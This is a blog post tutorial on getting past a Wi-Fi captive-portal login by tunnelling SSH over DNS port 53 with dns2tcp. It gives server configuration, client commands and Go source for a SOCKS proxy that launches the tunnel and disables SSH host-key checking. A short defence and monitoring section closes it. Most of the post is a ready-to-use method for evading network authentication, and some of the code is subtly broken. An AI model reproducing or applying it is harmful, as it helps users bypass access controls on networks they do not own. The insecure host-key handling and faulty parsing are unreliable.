Post

Bypass the Network Authentication with DNS Tunnelling

Data through port *53* is not intercepted, and the authentication system can be bypassed using the DNS channel.

Bypass the Network Authentication with DNS Tunnelling

After connecting to a AP, the authentication system will want you to log in to access the Internet. However, in some authentication system, nslookup can still work properly even whithout logging in. Therefore, data through port 53 is not intercepted, and the authentication system can be bypassed using the DNS channel.

Port 53 is the default port for DNS. It is the port most web applications expect to find DNS servers, which they use to translate domains into IP addresses.

DNS tunneling is a DNS attack technique that involves encoding the information of other protocols or programs in DNS queries and responses. DNS tunneling generally features data payloads which can latch onto a target DNS server, allowing the attacker to manage applications and the remote server.

DNS tunneling tends to rely on the external network connectivity of the compromised system—DNS tunneling needs a way into an internal DNS server that has network access. Attackers also have to control a server and a domain that may function as an authoritative server to carry out data payload executable programs and server-side tunneling.

1
2
3
4
5
6
7
8
PS C:\Users\Admin> nslookup.exe bing.com
Server: UnKnown
Address: xx.xxx.xx.xxx
Non-authoritative answer:
Name: bing.com
Addresses: xxxx:xxx:xxx::xxx
xx.xxx.xx.xxx
xxx.xx.xxx.xx

Setup server

What we need is a server with public IPv4 address and Linux installed (Debian recommended).

1
2
3
root@debian:~# uname -a
Linux debian 6.1.0-23-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.99-1 (2024-07-
15) x86_64 GNU/Linux

Compile server

cd to the directory where you want to store the source code, then ./configure to comnfigure the package for your system. Running it takes a while. make to compile the package. Optionally, type make check to run any self-tests that come with the package. make install to install the programs and any data files and documentation.

Configure server

After installing, create a config file /etc/dns2tcpd.conf

1
2
3
4
5
6
7
root@debian:~# cat /etc/dns2tcpd.conf
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = ns.xxxxx.com   # an NS record whose value is A record's second-level domain name
resources = ssh:127.0.0.1:22

Setup client

Complie client

In Windows, you can use the compiled .exe file. https://github.com/the0cp/dns2tcp

Run client

Connect the server with following command, the listening port will be 8888 (It may conflict with some capture services and can be changed to other available ports like 8887 etc.):

1
dns2tcpc -r ssh -z <ns.xxxx.com> <ip> -l 8888

Connect the server

Install and configure ssh on the client. Then establish a connection with 127.0.0.1:8888. On my server, I use root to log in. You can use tools such as puTTY to establish connection and store profiles more conveniently.

Port forwarding can be set up to forward 127.0.0.1:22 to 127.0.0.1:10809 (for example) as a SOCKS proxy. Manually add a SOCKS v5 in browsers (e.g. Firefox) to use the proxy.

Of course, you can also use other proxy tools for Global Proxying. (such as Proxifier, proxychains etc.)

Connect automatically

For convenience, automated scripts can be developed to achieve functions such as automatic reconnection.

I use Golang to develop. As a simple example, part of the source code is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/*
main.go
*/
func main() {
	go systray.Run(onReady, onExit)
	fmt.Println(banner.Inline("dnssh"))
	s := spinner.New(spinner.CharSets[9], 100*time.Millisecond)
	// Build new spinner
	s.Start() 	// Start the spinner
	pause()
	s.Stop()
	cmd := exec.Command("cmd.exe", "/c", "dns2tcpc.exe -r ssh -z mc.xxxx.com
	000.00.00.00 -l 8888 -d 2")

	console.Debug("Opening dns tunnel...")

	go cmd.Start()
	console.Debug("Start Connecting through SSH...")
	var auths []ssh.AuthMethod

	if *PASS != "" {
		auths = append(auths, ssh.Password(*PASS))
	}

	config := &ssh.ClientConfig{
		User: 			 	*USER,
		Auth: 			 	auths,
		HostKeyCallback: 	ssh.InsecureIgnoreHostKey(),
	}

	addr := fmt.Sprintf("%s:%d", *HOST, 8888)
	conn, err := ssh.Dial("tcp", addr, config)

	if err != nil {
		console.Warn("unable to connect to [%s]: %v", addr, err)
	}

	defer conn.Close()
	addr = fmt.Sprintf("%s:%d", "127.0.0.1", *PORT)
	l, err := net.Listen("tcp", addr)
	
	if err != nil {
		console.Warn("unable to listen on SOCKS port [%s]: %v", addr, err)
	}

	defer l.Close()
	console.Debug("listening for incoming SOCKS connections on [%s]\n", addr)
	
	for {
		c, err := l.Accept()
		if err != nil {
			console.Warn("failed to accept incoming SOCKS connection: %v", err)
		}
		go handleConn(c.(*net.TCPConn), conn)
	}

	log.Println("waiting for all existing connections to finish")
	connections.Wait()
	log.Println("shutting down")
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
func handleConn(local *net.TCPConn, dialer Dialer) {
	connections.Add(1)
	defer local.Close()
	defer connections.Done()
	
	// SOCKS does not include a length in the header, so take
	// a punt that each request will be readable in one go.

	buf := make([]byte, 256)
	n, err := local.Read(buf)

	if err != nil || n < 2 {
		log.Printf("[%s] unable to read SOCKS header: %v", local.RemoteAddr(), err)
		return
	}

	buf = buf[:n]
	switch version := buf[0]; version {
		case 4:
		switch command := buf[1]; command {
		case 1:
			port := binary.BigEndian.Uint16(buf[2:4])
			ip := net.IP(buf[4:8])
			addr := &net.TCPAddr{IP: ip, Port: int(port)}
			buf := buf[8:]
			i := bytes.Index(buf, []byte{0})
			if i < 0 {
				log.Printf("[%s] unable to locate SOCKS4 user", local.RemoteAddr())
				return
			}
			user := buf[:i]
			log.Printf("[%s] incoming SOCKS4 TCP/IP stream connection, user=%q, raddr=%s", local.RemoteAddr(), user, addr)
			remote, err := dialer.DialTCP("tcp4", local.RemoteAddr().(*net.TCPAddr), addr)
			if err != nil {
				log.Printf("[%s] unable to connect to remote host: %v", local.RemoteAddr(), err)
				local.Write([]byte{0, 0x5b, 0, 0, 0, 0, 0, 0})
				return
			}
			local.Write([]byte{0, 0x5a, 0, 0, 0, 0, 0, 0})
			transfer(local, remote)
		default:
			log.Printf("[%s] unsupported command, closing connection", local.RemoteAddr())
	}

		case 5:
			authlen, buf := buf[1], buf[2:]
			auths, buf := buf[:authlen], buf[authlen:]
			if !bytes.Contains(auths, []byte{0}) {
				log.Printf("[%s] unsuported SOCKS5 authentication method", local.RemoteAddr())
				local.Write([]byte{0x05, 0xff})
				return
			}

			local.Write([]byte{0x05, 0x00})
			buf = make([]byte, 256)
			n, err := local.Read(buf)

			if err != nil {
				log.Printf("[%s] unable to read SOCKS header: %v", local.RemoteAddr(), err)
				return
			}
		buf = buf[:n]
		switch version := buf[0]; version {
		case 5:
		switch command := buf[1]; command {
		case 1:
		buf = buf[3:]
		switch addrtype := buf[0]; addrtype {
		case 1:
			if len(buf) < 8 {
				log.Printf("[%s] corrupt SOCKS5 TCP/IP stream connection request", local.RemoteAddr())
				local.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
				return
			}

		ip := net.IP(buf[1:5])
		port := binary.BigEndian.Uint16(buf[5:6])
		addr := &net.TCPAddr{IP: ip, Port: int(port)}
		log.Printf("[%s] incoming SOCKS5 TCP/IP stream connection, raddr=%s", local.RemoteAddr(), addr)
		remote, err := dialer.DialTCP("tcp", local.RemoteAddr().(*net.TCPAddr), addr)

		if err != nil {
			log.Printf("[%s] unable to connect to remote host: %v", local.RemoteAddr(), err)
			local.Write([]byte{0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
			return
		}
		local.Write([]byte{0x05, 0x00, 0x00, 0x01, ip[0], ip[1], ip[2], ip[3], byte(port >> 8), byte(port)})
		transfer(local, remote)

		case 3:
			addrlen, buf := buf[1], buf[2:]
			name, buf := buf[:addrlen], buf[addrlen:]
			ip, err := net.ResolveIPAddr("ip", string(name))
			if err != nil {
				log.Printf("[%s] unable to resolve IP address: %q, %v", local.RemoteAddr(), name, err)
				local.Write([]byte{0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
				return
			}

			port := binary.BigEndian.Uint16(buf[:2])
			addr := &net.TCPAddr{IP: ip.IP, Port: int(port)}
			remote, err := dialer.DialTCP("tcp", local.RemoteAddr().(*net.TCPAddr), addr)

			if err != nil {
				log.Printf("[%s] unable to connect to remote host: %v", local.RemoteAddr(), err)
				local.Write([]byte{0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
				return
			}
			local.Write([]byte{0x05, 0x00, 0x00, 0x01, addr.IP[0], addr.IP[1], addr.IP[2], addr.IP[3], byte(port >> 8), byte(port)})
			transfer(local, remote)
		default:
			log.Printf("[%s] unsupported SOCKS5 address type: %d", local.RemoteAddr(), addrtype)
			local.Write([]byte{0x05, 0x08, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
	}
		default:
			log.Printf("[%s] unknown SOCKS5 command: %d", local.RemoteAddr(), command)
			local.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
	}
			default:
				log.Printf("[%s] unnknown version after SOCKS5 handshake: %d", local.RemoteAddr(), version)
				local.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
		}
	default:
		log.Printf("[%s] unknown SOCKS version: %d", local.RemoteAddr(), version)
	}
}

How to defense

Ensuring that there is no unrestricted inbound access to UDP port 53 is critical in protecting your DNS server from unauthorized access and potential attacks. UDP port 53 is used by the DNS protocol to resolve domain names to IP addresses and vice versa. If it is left open and unrestricted, it can be exploited by attackers to redirect users to malicious websites, intercept sensitive information or launch DDoS attacks.

Tips:

There are several ways to defend against DNS tunnel bypass vulnerabilities. Here are some suggestions:

  • Understand the risks of exposed port 53 and DNS Security.
  • Prevent users from frequently querying DNS.
  • Setting up and managing your own private DNS servers
  • Disable external DNS requests and only allow trusted DNS server query requests.
  • Traffic inspection, different DNS tunnels have different traffic characteristics, and most of these kind of traffic can be intercepted.
  • Educating employees about the risks and signs of DNS tunneling attacks.

Monitoring Utilities

Below are some utilities that are useful for detecting tunneling attacks:

  • dnsHunter: A Python module written for MercenaryHuntFramework & Mercenary-Linux.
    Reads .pcap files to extract DNS queries and performs geo-lookups, which helps in analyses.

  • reassemble_dns: A Python tool to read .pcap files and reassemble DNS messages.

This post is licensed under CC BY 4.0 by the author.